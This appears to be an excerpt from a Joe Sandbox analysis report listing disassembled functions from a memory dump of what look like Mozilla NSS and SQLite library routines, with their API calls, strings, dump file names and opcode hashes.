Function 6BAE49C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6BAD5F34,00000A20), ref: 6BAE49EC

Part of subcall function 6BA9FAB0: free.MOZGLUE(?,-00000001,?,?,6BA3F673,00000000,00000000), ref: 6BA9FAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6BAD5F34,00000A20,?,?,?,?,?,?,?,?,?,6BADAAD4), ref: 6BAE49F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6BAD5F34,00000A20,?,?,?,?,?,?,?,?,?,6BADAAD4), ref: 6BAE4A06
free.MOZGLUE(?,?,?,?,?,6BAD5F34,00000A20), ref: 6BAE4A16
free.MOZGLUE(000A2CB6,?,?,?,?,6BAD5F34,00000A20), ref: 6BAE4A1C

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: f2c75a177b2ed4b0909980a6297e68fe213b8bd270e3c9a92a38e8b2f0834523
Instruction ID: 50197abaf5a0a2e939de8369cade1084785162b41c9bdd2e9e2d18501f626919
Opcode Fuzzy Hash: f2c75a177b2ed4b0909980a6297e68fe213b8bd270e3c9a92a38e8b2f0834523
Instruction Fuzzy Hash: A1015AB69001049FCF00DF66EDC5C567BFCEF8A21974880A9E909CB202E735E945CBB1

Function 6BB50930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6BB50C83), ref: 6BB5094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6BB50C83), ref: 6BB50974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50983
_PR_MD_UNLOCK.NSS3(?,?,6BB50C83), ref: 6BB5099F
OutputDebugStringA.KERNEL32(?,?,6BB50C83), ref: 6BB509B2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: dc628b15df768efb51f6cc8ac850e4e2a4ef76c9bb8abfe7467bad77b70087ad
Instruction ID: 1c1483514432338403b9c07b34fee8bc267ba3fc6022bb8b5fee05f126b3162d
Opcode Fuzzy Hash: dc628b15df768efb51f6cc8ac850e4e2a4ef76c9bb8abfe7467bad77b70087ad
Instruction Fuzzy Hash: 6E0169B99012608FDF40AF2CC94AB393BA9EB43B18F4C0245F845C3256D73BE450DA12

Function 6BB52A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6BB52A5B
free.MOZGLUE(?), ref: 6BB52A6D
strdup.MOZGLUE(?), ref: 6BB52A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BB52A96
PR_ExitMonitor.NSS3 ref: 6BB52AB5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: d796a2312b5153141b73c5c973c8a61d35e30d446a02e1ae12518d03ec0fd7bf
Instruction ID: 844b12e4605dd3246dac50e7ea8bf905d9bcce9b324c9374a71ec4d950908676
Opcode Fuzzy Hash: d796a2312b5153141b73c5c973c8a61d35e30d446a02e1ae12518d03ec0fd7bf
Instruction Fuzzy Hash: F3F0A4B6E011705BEE20AF789D0772E7B14EB03B58F080070D805D7105F73AD924C6D2

Function 6BAD5990 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

SECKEY_DestroyPublicKey.NSS3(?), ref: 6BAD599D

Part of subcall function 6BA52D70: PK11_DestroyObject.NSS3(28438DC7,FF0477FF,6BA499FF,?,?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA52D98
Part of subcall function 6BA52D70: PORT_FreeArena_Util.NSS3(28438DC7,00000000,00000000,?,6BA6AE6C,00000000,?,00000000,?,6BA499FF,?), ref: 6BA52DBB

SECKEY_DestroyPrivateKey.NSS3 ref: 6BAD59AB

Part of subcall function 6BA52D20: PK11_DestroyObject.NSS3(?,?), ref: 6BA52D3C
Part of subcall function 6BA52D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6BA52D5F

PR_DestroyRWLock.NSS3 ref: 6BAD59B9
PK11_FreeSymKey.NSS3(?), ref: 6BAD59DC
PK11_FreeSymKey.NSS3 ref: 6BAD59EA

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Destroy$FreeK11_$Arena_ObjectUtil$LockPrivatePublic
String ID:
API String ID: 33988338-0
Opcode ID: ae8a6180010d5c4736721dbf6f74eb88b7100f793b342d937082c74f76278838
Instruction ID: 15c9853fe762b62a68dc2c26e9cd30255ae763d52583ae61133d0a330c682308
Opcode Fuzzy Hash: ae8a6180010d5c4736721dbf6f74eb88b7100f793b342d937082c74f76278838
Instruction Fuzzy Hash: 68F012B2D243855BEE719B35DE0773E7355E76621CB045325A80973111FBBBE2E48141

Function 6BB12B20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00020C24,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BB12B64

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BB12B4E
misuse, xrefs: 6BB12B58
%s at line %d of [%.10s], xrefs: 6BB12B5D

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: 82e8e69e8556764766ecb9a039b9df156000a969ac24f052e2a067053bd2f3d8
Instruction ID: 201089e4fd26d619e297ea0cac4aadee5f23752e34dab61eead357cf140e0cf8
Opcode Fuzzy Hash: 82e8e69e8556764766ecb9a039b9df156000a969ac24f052e2a067053bd2f3d8
Instruction Fuzzy Hash: 6351C170F082864BEB04CF6898827EFB7A2EF4A314F14816DD919DB281E779D945C791

Function 6B9D4AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6B9D4C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6B9D4C24
winWrite1, xrefs: 6B9D4BC2
winWrite2, xrefs: 6B9D4C01

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: 4dac9ca980c0dde052463d04f1b689c909750cc9cc1878e2842f274f01fcd52b
Instruction ID: d1be631965445a6217b081f42a690d3d5b78cbfa176b78cd4285a4a932ed40ba
Opcode Fuzzy Hash: 4dac9ca980c0dde052463d04f1b689c909750cc9cc1878e2842f274f01fcd52b
Instruction Fuzzy Hash: CF41A171A047459BD704CF2AC851A6EB7E9FFD5364F108629F85487390E738D905CF92

Function 6BB16B20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

sqlite3_snprintf.NSS3(?,6BB16AC0,6BB7AAF9,00000000,?,6BB16AC0,?), ref: 6BB16BA9
sqlite3_free.NSS3(00000000,?,?,?,?,?,6BB16AC0,?), ref: 6BB16BB2
sqlite3_snprintf.NSS3(?,6BB16AC0,OsError 0x%lx (%lu),00000000,00000000,?,6BB16AC0,?), ref: 6BB16BD9

Strings

OsError 0x%lx (%lu), xrefs: 6BB16BCE

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_free
String ID: OsError 0x%lx (%lu)
API String ID: 2089385377-3720535092
Opcode ID: e56b0e2a68653dde1252c17ac356dfe71789d6f9b0aa3fa4ad28db668b628cfb
Instruction ID: 616172512dfdcc6b5b9958a93939d65dd1b87bc551e3e2a73a4d4990010f21ca
Opcode Fuzzy Hash: e56b0e2a68653dde1252c17ac356dfe71789d6f9b0aa3fa4ad28db668b628cfb
Instruction Fuzzy Hash: E2119076904109BFDF18AFA5EC9AD7F7BB9EF8A345704002CF50663141DF269904C6A1

Function 6BB0DBA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00005919,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6BB0DC98,?,?,?,?), ref: 6BB0DBC4

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BB0DBAE
misuse, xrefs: 6BB0DBB8
%s at line %d of [%.10s], xrefs: 6BB0DBBD

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: da044a2cdfffb1521e288b3982da4b43bd96419eaf099f506624b05f2621b6b6
Instruction ID: 85e800a352a64fbaa9f12be93e06ed13c1587f46c6992b73bc8ccb162e2c5fb4
Opcode Fuzzy Hash: da044a2cdfffb1521e288b3982da4b43bd96419eaf099f506624b05f2621b6b6
Instruction Fuzzy Hash: 78112BB5B00251ABDB00CF68EC5292A3B5AF787341B084039ED0597340CB76DC01CB91

Function 6BA2AB80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA2AB8A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6BA2AC07

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_LogPrint.NSS3(connect -> %d,00000000), ref: 6BA2AC1A

Strings

connect -> %d, xrefs: 6BA2AC15

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$ErrorPrint
String ID: connect -> %d
API String ID: 1784924131-3487059786
Opcode ID: 410d72bbac8d7b3757d801695cdf997c1b4bb9b190861d1327169dea03a26648
Instruction ID: dbffd2ef6e8487b456272ad5c97140ddcbe6b7036a892a5bb3779d7d7f14f045
Opcode Fuzzy Hash: 410d72bbac8d7b3757d801695cdf997c1b4bb9b190861d1327169dea03a26648
Instruction Fuzzy Hash: 8D01C475900144ABFF106E38CD06B7A3B63EB42759F4C8564E8198B261E77ACCD0C691

Function 6BB52BE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6BB52BFA
PR_ExitMonitor.NSS3 ref: 6BB52C2B
PR_LogPrint.NSS3(%s incr => %d (for %s),?,?,?), ref: 6BB52C5D

Strings

%s incr => %d (for %s), xrefs: 6BB52C58

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrint
String ID: %s incr => %d (for %s)
API String ID: 2736670396-2912983388
Opcode ID: f5d46820b8a89a7b874ca2b5e81095fa74d3fad789b1e42a6a301f26c3a19981
Instruction ID: ceef7ed04363a9fbabe41b67fd7b35310b880da4d476f8ce60a5533960d8c921
Opcode Fuzzy Hash: f5d46820b8a89a7b874ca2b5e81095fa74d3fad789b1e42a6a301f26c3a19981
Instruction Fuzzy Hash: 4F014C73E011509FDB228E2DDC4262F77B9EB46718F044469D849C3302EB3AEC54C792

Function 6B9CA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6BAFA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6BB1C3A2,?,?,00000000,00000000), ref: 6BAFA528
Part of subcall function 6BAFA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BAFA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6B9CA94F

Strings

database corruption, xrefs: 6B9CA943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9CA939
%s at line %d of [%.10s], xrefs: 6B9CA948

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: ab62b198920c7cd7fdfbda80b58393905541e687bd738c06360873d1fd5e9c18
Instruction ID: db3cc8129b3626116bcedf74b07c1d276b1240d3789a1ae924c796bb4d761cd3
Opcode Fuzzy Hash: ab62b198920c7cd7fdfbda80b58393905541e687bd738c06360873d1fd5e9c18
Instruction Fuzzy Hash: 4F014931E002085BD7109B79DD12B6BB7F9EB49309F414039E95957282E779E80587A3

Function 6BA58850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6BA60715), ref: 6BA58859
PR_NewLock.NSS3 ref: 6BA58874

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6BA5888D

Strings

NSS, xrefs: 6BA58887

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 5e9062983581c450abe9326c1b81dadca2356a978571eb3334e3ba18f6aabe49
Instruction ID: 1b7f72ba687b262374e9d808d8bb763c844aac09c4d4a80d5aa3e2102c215cf6
Opcode Fuzzy Hash: 5e9062983581c450abe9326c1b81dadca2356a978571eb3334e3ba18f6aabe49
Instruction Fuzzy Hash: FCF0F6A7E5162037FA1022786D07B4B75889F51B9EF080030E90CA7283EF699664C2F2

Function 6BB0B860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6BAFA4E2), ref: 6BB0B8C6

Strings

database corruption, xrefs: 6BB0B8BA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BB0B8B0
%s at line %d of [%.10s], xrefs: 6BB0B8BF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 313db97793d4d1bbe5d24a62bfbb765c70c99efd73dee06de660cb3c6e5f01fe
Instruction ID: 9b0f4fdb83352779b6df8caa2fecc43d20d6c93e247033b01f4c9a089048b891
Opcode Fuzzy Hash: 313db97793d4d1bbe5d24a62bfbb765c70c99efd73dee06de660cb3c6e5f01fe
Instruction Fuzzy Hash: 0101DD369482D069D3208B3A5D84D633FBCDF49325B0B01C9FA045F2B3E206C801C3E6

Function 6B9D7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6B9D81DF
LeaveCriticalSection.KERNEL32(?), ref: 6B9D8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6B9D8255
sqlite3_free.NSS3(00000000), ref: 6B9D8260

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: a47f802e06801f68e1ba17acd7c12b20ad8e7e26fc2c9360a95a1b6460a31937
Instruction ID: e0c1cc8b8f220b54019072da618720863262da7dd829e0d67230f9260b7a1595
Opcode Fuzzy Hash: a47f802e06801f68e1ba17acd7c12b20ad8e7e26fc2c9360a95a1b6460a31937
Instruction Fuzzy Hash: C7917D71D00A08DFEB08DFA5D99A7ADB7B5FF46300F148029D416AB251DB3AD94ACB42

Function 6BA3C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6BA3CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BA3CB4B
sqlite3_free.NSS3 ref: 6BA3CB70
sqlite3_result_error_nomem.NSS3 ref: 6BA3CB99

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: bf211f69730d2cf5cd44aac1332c7e4bb9d882fbad5c4c8e06f2fab415c4a6c5
